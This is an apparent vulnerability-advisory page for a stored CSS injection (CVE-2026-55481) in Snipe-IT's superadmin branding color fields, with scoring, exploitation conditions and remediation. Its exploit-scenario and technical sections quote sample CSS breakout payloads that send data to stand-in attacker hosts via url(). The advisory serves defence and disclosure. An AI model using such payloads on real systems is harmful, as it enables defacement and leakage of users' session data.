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Snipe-IT CVE-2026-55481

| EUVDEUVD-2026-43003 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-10 security-advisories@github.com GHSA-w7qw-5wfv-gwx9
6.2
CVSS 4.0 · Vendor: github
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker compromises or controls a superadmin account
  2. Delivery
    Navigate to Snipe-IT branding settings panel
  3. Exploit
    Inject CSS payload into header_color or related color field
  4. Install
    Malicious CSS persists in application database
  5. C2
    Authenticated user loads any Snipe-IT page
  6. Execute
    Browser renders injected CSS from global style block
  7. Impact
    UI manipulation, visual defacement, or CSS-based data exfiltration against victim session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Two explicit conditions must both be satisfied for exploitation: (1) the attacker must hold a superadmin account - the branding settings endpoint is restricted to superadmin-role users only, and standard admins or regular users cannot modify these fields; and (2) Content Security Policy must be disabled or must not include a restrictive style-src directive - this condition is stated explicitly in the CVE description ('when Content Security Policy is disabled') and is the single technical control that fully blocks impact at the browser level. Without CSP restriction, the injected CSS executes silently for all authenticated users on every page load. Limiting factors include: the superadmin credential requirement substantially limits the external attack surface; CSP deployment at any enforcement point (reverse proxy, application header) fully mitigates browser-side execution; victims require no active interaction beyond normal application use, but must be authenticated Snipe-IT users.

Impact

Real-world risk is moderate and context-dependent. The primary limiting factor is the PR:H requirement - only a superadmin can modify branding settings, making this an insider or credential-compromise scenario rather than an externally exploitable entry point. The CVSS 4.0 score of 6.2 appropriately reflects this gate. However, the subsequent-system impact (SC:H/SI:H) is significant: once injected, the CSS payload silently affects every authenticated user, including other admins and regular users, without any interaction beyond normal application use. The attack requires Content Security Policy to be absent or permissive - this is an explicit condition stated in the advisory and a common reality in self-hosted, legacy, or misconfigured deployments of Snipe-IT. No EPSS score was provided in the input, and the vulnerability is not listed in CISA KEV, and no public POC has been identified, suggesting no current widespread exploitation. The risk profile is therefore: low external attack surface, high internal/post-compromise impact, fully mitigated by CSP deployment, and patched in a specific release. Organizations running without CSP and with multiple superadmin accounts should treat this as a meaningful privilege-escalation-to-persistence path.

Exploit ScenarioDerived

A malicious or compromised superadmin logs into Snipe-IT's admin interface and navigates to the branding settings panel, entering a crafted value in the header_color field such as '#ff0000} * { display:none } body::after { content: url(https://attacker.example/log?data=...) }'. This payload is saved to the database and thereafter embedded verbatim inside the global CSS style block on every page load. Any authenticated user - from low-privilege asset viewers to other superadmins - who opens the application will silently receive and execute the injected stylesheet, enabling UI overlay attacks, visual defacement, or CSS-based attribute selector data exfiltration without any JavaScript execution required. No public POC has been identified at time of analysis.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

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AnalysisAIv1 – Jul 10, 2026

CSS injection in Snipe-IT's superadmin branding configuration (versions prior to 8.6.2) allows arbitrary stylesheet content to persist in the database and render for all authenticated users on every subsequent page load. The template default.blade.php applies HTML entity encoding to the header_color and related color settings before embedding them inside a CSS style block - encoding that is context-incorrect and insufficient to prevent CSS breakout via constructs such as closing braces or url() references. No public exploit has been identified at time of analysis, but the CVSS 4.0 vector (SC:H/SI:H) reflects that, once injected, the payload affects every authenticated user's session regardless of their privilege level, making this a persistent, cross-user impact from a single privileged action.

RemediationAI

Upgrade to Snipe-IT version 8.6.2 or later; this is the vendor-confirmed patch as documented in GitHub Security Advisory GHSA-w7qw-5wfv-gwx9, release tag v8.6.2 (https://github.com/grokability/snipe-it/releases/tag/v8.6.2), and commit c31190a128ec96fb34000a2f27eae198b1a51d40 (https://github.com/grokability/snipe-it/commit/c31190a128ec96fb34000a2f27eae198b1a51d40). As an interim compensating control where immediate upgrade is not possible, deploy a Content Security Policy header with a restrictive style-src directive (e.g., Content-Security-Policy: style-src 'self') at the reverse proxy or web server layer - this blocks execution of the injected arbitrary CSS in the victim's browser and fully neutralizes the attack impact, though it may require testing for breakage of legitimate inline styles in the application. Additionally, audit the current branding color settings in the Snipe-IT admin panel for any values that are not valid CSS color codes (hex, rgb, named colors), as non-color content in those fields is an indicator of prior exploitation. Minimize the number of superadmin role assignments to reduce the attack surface.

Affected VersionsENISA

snipe-it < 8.6.2

Affected Packages

composer snipe/snipe-it fix: 8.6.2
euvd snipe_it fix: 8.6.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Snipe-IT is a PHP application built on the Laravel framework using Blade templating. The vulnerable rendering occurs in default.blade.php, which outputs superadmin-configurable branding values (header_color and related fields) directly inside an inline <style> block. Blade's standard {{ }} escaping applies HTML entity encoding (converting < > & " to their HTML entities), which is correct for HTML contexts but entirely inadequate for CSS values - CSS parsers do not interpret HTML entities, and an attacker can inject CSS syntax such as '} body { background: url(https://attacker.com/?c=...) }' without triggering any HTML encoding substitution. This maps to CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-Site Scripting) in its stored variant: the payload is persisted to the database through the admin settings API and thereafter delivered to every authenticated browser session. The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:H/UI:P captures the network delivery, low complexity, high privilege requirement, and passive victim interaction pattern. The fix in commit c31190a128ec96fb34000a2f27eae198b1a51d40 addresses the CSS-context escaping gap.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (github) PRIMARY 6.2 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
vuln.today AI 6.9 MEDIUM

Superadmin write access required (PR:H); scope changes as injected CSS affects all authenticated users (S:C); integrity High for persistent UI manipulation, confidentiality Low for constrained CSS-based data leakage.

3.1 AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N

Primary rating from Vendor (github).

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jul 10, 2026 - 21:02 EUVD

DescriptionCVE.org

Snipe-IT is an IT asset/license management system. Prior to 8.6.2, default.blade.php renders header_color and related branding color settings inside a CSS style block with HTML escaping that is insufficient for the CSS context, allowing a superadmin to inject arbitrary CSS that affects authenticated users on subsequent page loads when Content Security Policy is disabled. This issue is fixed in version 8.6.2.

Threat Intelligence Overview

EPSS Score
0.4%
Top 69% exploitable
Prevalence
Low
niche open-source IT asset management tool, limited enterprise footprint
Threat Intel
1
1 sources
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +31
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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